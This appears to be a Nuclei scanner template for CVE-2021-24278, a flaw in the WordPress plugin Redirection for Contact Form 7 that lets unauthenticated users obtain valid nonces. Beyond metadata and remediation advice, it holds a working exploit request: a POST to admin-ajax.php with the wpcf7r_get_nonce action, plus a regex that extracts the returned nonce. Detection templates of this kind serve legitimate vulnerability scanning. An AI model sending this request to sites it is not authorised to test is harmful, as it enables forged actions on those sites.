61 lines
2.1 KiB
YAML
61 lines
2.1 KiB
YAML
id: CVE-2021-24278
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info:
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name: WordPress Contact Form 7 <2.3.4 - Arbitrary Nonce Generation
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author: 2rs3c
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severity: high
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description: WordPress Contact Form 7 before version 2.3.4 allows unauthenticated users to use the wpcf7r_get_nonce AJAX action to retrieve a valid nonce for any WordPress action/function.
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impact: |
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Attackers can exploit this vulnerability to perform actions on behalf of authenticated users, leading to potential data breaches or unauthorized access.
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remediation: |
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Update WordPress Contact Form 7 plugin to version 2.3.4 or later to fix the Arbitrary Nonce Generation vulnerability.
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reference:
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- https://wpscan.com/vulnerability/99f30604-d62b-4e30-afcd-b482f8d66413
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- https://www.wordfence.com/blog/2021/04/severe-vulnerabilities-patched-in-redirection-for-contact-form-7-plugin/
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- https://nvd.nist.gov/vuln/detail/CVE-2021-24278
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- https://github.com/ARPSyndicate/cvemon
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- https://github.com/ARPSyndicate/kenzer-templates
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
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cvss-score: 7.5
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cve-id: CVE-2021-24278
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cwe-id: CWE-863
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epss-score: 0.05157
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epss-percentile: 0.92966
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cpe: cpe:2.3:a:querysol:redirection_for_contact_form_7:*:*:*:*:*:wordpress:*:*
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metadata:
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max-request: 1
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vendor: querysol
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product: redirection_for_contact_form_7
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framework: wordpress
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tags: cve2021,cve,wordpress,wp-plugin,wpscan,querysol
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http:
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- method: POST
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path:
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- "{{BaseURL}}/wp-admin/admin-ajax.php"
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body: "action=wpcf7r_get_nonce¶m=wp_rest"
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headers:
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Content-Type: application/x-www-form-urlencoded
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matchers-condition: and
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matchers:
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- type: regex
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part: body
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regex:
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- '"success":true'
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- '"nonce":"[a-f0-9]+"'
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condition: and
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- type: status
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status:
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- 200
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extractors:
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- type: regex
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regex:
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- '"nonce":"[a-f0-9]+"'
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part: body
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# digest: 4b0a00483046022100d9abb764ee6563027af072cc23d4c9c16f80410112aba32996d15ad9d82c5a5a022100e439314dc9a6527a0d80b588b231ae631ee122f0d97542b41b800ffed7a3f51f:922c64590222798bb761d5b6d8e72950 |